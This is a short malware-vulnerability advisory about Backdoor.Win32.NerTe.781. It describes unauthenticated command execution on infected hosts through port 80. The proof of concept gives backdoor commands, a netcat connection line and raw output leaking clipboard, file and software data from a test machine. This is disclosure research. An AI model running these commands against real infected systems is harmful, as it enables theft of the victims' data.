Backdoor.Win32.NerTe.781 Code Execution

`Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/776e8bb41adf8bd95865c0b03637d8d7_B.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.NerTe.781  
Vulnerability: Unauthenticated Remote Command Execution   
Description: Third-party attackers who can reach infected systems can connect to port 80 and run commands made available by the backdoor to retrieve information etc.  
Type: PE32  
MD5: 776e8bb41adf8bd95865c0b03637d8d7  
Vuln ID: MVID-2021-0265  
Dropped files: nsrv78.exe  
Disclosure: 07/03/2021  
  
Exploit/PoC:  
Example commands:  
  
GETCLB (Get Clipboard data)  
GETSND (Get sounds)  
GETIN2 (Get Installed Software)  
GETIN3  
GETIN4  
GETIN6  
  
nc64.exe x.x.x.x 80  
  
VERSIJ7.8.1ñnoñVictimñDESKTOP-2C4IQHO╢GETCLB  
GETCLB*************** Clipboard **************ñTomorrow West 18th and broadway.ñ*************** End **************╢GETSND  
GETSNDñññññññññññññññññC:\a\17.wavñC:\a\18.wavñññC:\a\21.wavñC:\a\22.wavññC:\a\23.wavñC:\a\24.wavñññññññC:\a\29.wavñC:\a\30.wavññC:\a\31.wavñC:\a\32.wav╢  
  
MSGUnknown command╢GETIN2  
GETIN2DESKTOP-2C4IQHOñVictimñññññ7:56:40 PMñ1 Hour, 11 Minutes, 42 Seconds.ñ1ñ1ñ1ñ2814.17ñUnknown╢  
GETIN4NTFSñC:\Program Files (x86)\NerTeñA2C9-AD2Fñ85405782016ñ12950585344ñ512ñ8ñ20,851,021ñ3,161,764ñFixedñCDñC: []ñD: []╢  
GETIN6HxD Hex Editor version 1.7.7.0ñNerTeñWinPcap 4.1.3ñWinSCP 5.13ñWireshark 2.4.5 64-bitñMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.30319ñMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.4148ñPython LauncherñJava Auto UpdaterñMicrosoft Visual C++ 2017  
C:\Users\Victim\AppData\Local\Programs\Python\Python2\;C:\Users\Victim\AppData\Local\Microsoft\WindowsApps;;C:\Users\Victim\AppData\Local\Programs\Fiddler;C:\Program Files (x86)\Fiddler2\Fiddlerñ0PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.  
  
  
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`